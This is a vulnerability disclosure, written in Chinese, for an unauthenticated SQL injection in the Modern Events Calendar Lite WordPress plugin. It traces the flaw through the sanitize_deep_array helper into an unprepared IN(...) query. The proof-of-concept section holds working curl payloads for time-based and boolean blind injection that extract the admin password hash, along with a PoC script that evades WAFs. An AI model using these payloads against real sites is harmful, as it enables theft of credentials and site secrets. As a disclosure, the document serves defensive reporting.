mec_list_load_more 的 atts[include] / atts[exclude])| 详细信息 | 值 |
|---|---|
| 插件 | Modern Events Calendar Lite |
| 别名 | modern-events-calendar-lite |
| 作者 | Webnus |
| 受影响版本 | <= 7.33.0(当前供应商分发的Lite版本)。该漏洞存在于整个post-w.org版本范围内;已在5.6.5和7.33.0上经实验室验证,在5.21.2上经静态代码确认。6.5.6 = 最后一个wordpress.org版本(在2022-05-11关闭时冻结);7.33.0 = 当前从mec.webnus.net分发的版本 |
| 活跃安装量 | 自关闭后wordpress.org隐藏计数;历史上超过100,000。供应商仍在积极分发和更新(Lite版本通过mec.webnus.net分发;相同的7.x代码库也用于正在积极销售的MEC Pro) |
| CWE | CWE-89(SQL注入) |
| 漏洞类型 | 未认证的盲SQL注入(基于时间/布尔/报错) |
| 所需权限 | 无(wp_ajax_nopriv_* — 预认证) |
| 用户交互 | 无 |
| CVSS v3.1 | 7.5(高危) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| 状态 | 在7.33.0(当前版本)和6.5.6(WordPress 6.6.5,MariaDB 10.x)上经端到端实验室验证 |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite 注册了一系列未认证的 admin-ajax.php “加载更多”操作,用于其事件列表皮肤(list、grid、masonry、agenda、timeline、tile、custom)。每个处理程序读取攻击者控制的 atts 请求数组,通过一个名为 sanitize_deep_array() 的辅助函数处理 —— 当以默认参数调用时,该函数不执行任何清理 —— 然后将 atts['include'](和 atts['exclude'])的值原始地拼接进一个 post_id IN (...) SQL 片段中,并通过 $wpdb->get_results() 执行,且未使用 。
由于入口点注册在 wp_ajax_nopriv_* 上,不需要认证、账户、nonce 或用户交互。未认证的远程攻击者可以将任意 SQL 注入到针对 wp_mec_dates 表的 SELECT 语句的 WHERE 子句中,并通过盲时间/布尔/报错技术读取 WordPress 数据库中的任何数据(用户密码哈希、wp_options 秘密/密钥、其他插件的数据)。
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // 第9615行
{
$sanitized[$key] = $val; // <-- 原始直通,无清理
continue;
}
// ...(仅当 $excludes 非空时才到达 sanitize_text_field / (int) / esc_url / ...)
}
return $sanitized;
}
条件 (is_array($excludes) and !count($excludes)) 使得当 $excludes 为默认的空数组时,函数完全无操作 —— 每个值都被原样复制。意图显然是想“如果存在排除列表,则跳过这些键”;但布尔逻辑却导致在没有提供排除列表时跳过了所有内容。
$excludesapp/skins/list.php:499-501(load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // 第501行
sanitize_deep_array($_REQUEST['atts']) 使用单个参数调用 → $excludes 默认为 array() → 上述无操作分支 → $atts 是原始、不受信任的 $_REQUEST['atts']。
IN (...) 子句app/libraries/skins.php:
// 第603行(exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// 第606行(include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
数组元素直接通过 implode() 拼接到 SQL 字符串中,未进行整数转换或转义。(对每个元素使用 absint() / (int) 本可关闭此漏洞。)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // 仅将 `#__` 替换为表前缀
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // 第87行 — 无 prepare()
// ...
}
完整构建的字符串被直接传递给 $wpdb->get_results()。
污点流(请求 → 接收器):
$_REQUEST['atts'] (攻击者控制,未认证)
→ app/skins/list.php:501 sanitize_deep_array($atts) (无操作:默认空 $excludes)
→ MEC_skin::initialize($atts) ($this->atts = 原始 atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (无 prepare)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- 未认证
nopriv 注册使得该端点在预认证状态下可达。相同的 load_more() 结构以及共享的 skins.php 查询构建器出现在其他皮肤中,每个皮肤都有自己的 wp_ajax_nopriv_* 动作,因此可以通过以下任何一个同样实现注入:
load_more() 中未检查 nonce,且该操作不要求页面上存在任何插件短代码 —— AJAX 处理程序在初始化时无条件注册。
所有请求均为未认证(无 cookie,无 nonce)。注入值位于 atts[include][] 中;载荷关闭了 IN ((...) AND (... IN ( 组的两个左括号,并附加一个顶层 OR <sleep>,以便对每个扫描行评估条件,然后注释掉尾部的 )) ORDER BY ...:
TARGET='https://victim.example' # 普通链接:直接使用 admin-ajax.php
# 1) 基线(无注入)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) 基于时间的证明 —— 平衡的顶层 OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) 被执行
# 3) 布尔预言(真 vs 假)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (真)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (假)
# 4) 真实数据提取(盲注),例如 admin 密码哈希的第一个字节等于 '$'(0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← 真:admin 哈希以 '$' 开头(phpass)
从 WP_DEBUG_LOG 捕获的针对错误金丝雀 atts[include][]=0)MEC_SQLI_CANARY 执行的确切查询为:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
—— 字面标记 MEC_SQLI_CANARY 原样出现在执行的语句中,证实了原始拼接。atts[exclude][] 参数(skins.php:803 / 603,NOT IN)同样可注入(实验室确认:atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s)。相同的查询和注入在 7.33.0(当前构建)上复现 —— 相同的金丝雀,相同的 SLEEP 行为。
mec-unauth-sqli-poc.py(包含在内)完全独立且无需凭据:它确认注入(基线 vs. SLEEP),然后执行基于时间的盲提取任意数据(默认:@@version、数据库用户和第一个 admin 的 user_login:user_pass)。它验证每个响应(HTTP 200),并使用 --delay + 退避策略来规避 WAF/速率限制(例如 mod_evasive)。不修改任何数据(只读 SELECT 上下文)。
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
未认证、网络可达、对数据库的完整读取权限:wp_users 密码哈希、wp_options(auth_key、API 秘密、令牌)以及任何其他表。实际上,这可以连锁导致完全接管站点(离线哈希破解、秘密/会话窃取)。完整性影响有限 —— 注入通过 $wpdb->get_results() 在 SELECT 上下文中执行,不允许堆叠查询 —— 因此 I:N。大量 SLEEP/BENCHMARK 可能降低可用性,但主要、可靠演示的影响是机密性(C:H),因此 CVSS 为 7.5。
行号针对 7.33.0(当前)给出,括号内为 6.5.6;代码在整个范围内相同。
其他皮肤(grid、masonry、agenda、timeline、tile、custom)共享相同的 load_more() + skins.php 查询构建器,并且各自注册了 wp_ajax_nopriv_* 动作 → 相同的漏洞,多个入口点。
这是一个不同的、此前未报告的注入点。所有公开记录的 MEC SQL 注入都针对不同的 AJAX 动作和参数,并且都在此发现所涉及版本之后的版本中得到修复(实验室确认在 7.33.0 中仍然存在):
mec_load_single_page 中;而本问题位于皮肤“加载更多”分页中(load_more() → MEC_skin::initialize() → app/libraries/skins.php 中的 post_id IN (...) 构建器),通过 sanitize_deep_array() 的无操作默认分支到达。mec_load_single_page 的补丁未触及 skins.php。id)仅在 PHP/WordPress 输入斜杠转义禁用时才能利用(非常规状态),因为该值位于一个带引号的上下文中。而此处 atts[include]/atts[exclude] 的值位于一个未加引号的数值 IN(...) 上下文中,并利用括号 + SQL 关键字(0)) OR SLEEP(3)#)进行利用, 无法中和。因此,它在上可被利用 —— 在标准 WP 7.0(魔术引号开启)上经实验室确认。Modern Events Calendar Lite 版本于 2022-05-11 从 wordpress.org 下架(“原因:违反指南”),因此 wordpress.org 版本冻结在 6.5.6。这并不意味着该插件被放弃 —— Webnus 继续在平台外开发:当前从 mec.webnus.net 分发的 Lite 版本为 7.33.0,且易受攻击的代码路径与此处逐字节相同(实验室确认;SQLi 在 7.33.0 上同样触发)。因此,该漏洞影响了下架后范围内的每个版本,而不仅仅是冻结的 wordpress.org 副本。
路由影响(“在 wordpress.org 上已关闭”的反对意见比看起来要弱得多):
app/libraries/skins.php、app/libraries/main.php 和 app/libraries/db.php 是共享的核心库,因此 Pro 版本几乎肯定受影响。应在正式断言之前针对 Pro 源代码进行确认,但共享库架构使其非常可能。确认 Pro 受影响后,该发现将明确属于 Patchstack 的范围(公开销售的组件),并且无论 wordpress.org 列表状态如何,都值得分配 MITRE/Patchstack CVE。鉴于这是一个未认证、网络可达、可完全读取数据库的 SQL 注入,且存在于一个当前、供应商分发的产品中,历史上拥有六位数安装基数,CVE 是合理的。
| 日期 | 事件 |
|---|---|
| 2026-06-03 | 在自动插件审查中发现;在 MEC Lite 6.5.6(wordpress.org 冻结版本)上完成端到端验证(未认证) |
| 2026-06-04 | 在 7.33.0(当前从 mec.webnus.net 分发的供应商 Lite 版本)上重新端到端验证;确认代码/注入相同 —— 该发现是当前的,而非下架版本的遗留问题 |
| 2026-06-04 |
$wpdb->prepare()AJAX 动作(nopriv) | 皮肤处理程序 |
|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
| 文件 | 行号(7.33.0 / 6.5.6) | 问题 |
|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | 当 $excludes 为默认空数组时,sanitize_deep_array() 无操作(!count($excludes) 守卫) |
app/skins/list.php | 535 / 501 | atts 从 $_REQUEST 读取并传递给 sanitize_deep_array() 时未提供 $excludes(在 load_more() 中,532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → 未认证入口点 |
app/libraries/skins.php | 806 / 603-606 | include / exclude 数组通过 implode() 原始拼接到 post_id IN (...) / NOT IN (...) 中(exclude 位于 803 / 603) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() 使用 $wpdb->get_results() 执行时未使用 prepare() |
| 参考 | 认证 | AJAX 动作 | 参数 | 修复版本 |
|---|
| CVE-2021-24946 | 未认证 | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | 未认证 (仅当 addslashes/输入斜杠转义被禁用时) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | 已认证(作者+ / 订阅者) | mec_fes_form | mec[post_id] | 5.16.6 |
| 本报告 | 未认证(无前提条件) | mec_list_load_more(+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | 未修复(≤ 7.33.0) |
wp_magic_quotes()mec_load_single_page 补丁(6.4.0)已经过去四年,并且跨过一个主版本。| 向供应商(Webnus)通知 + 向 WPScan 申请 CVE;确认 MEC Pro 共享该路径 |
| 2026-06-05 | 漏洞已验证并分配 CVE |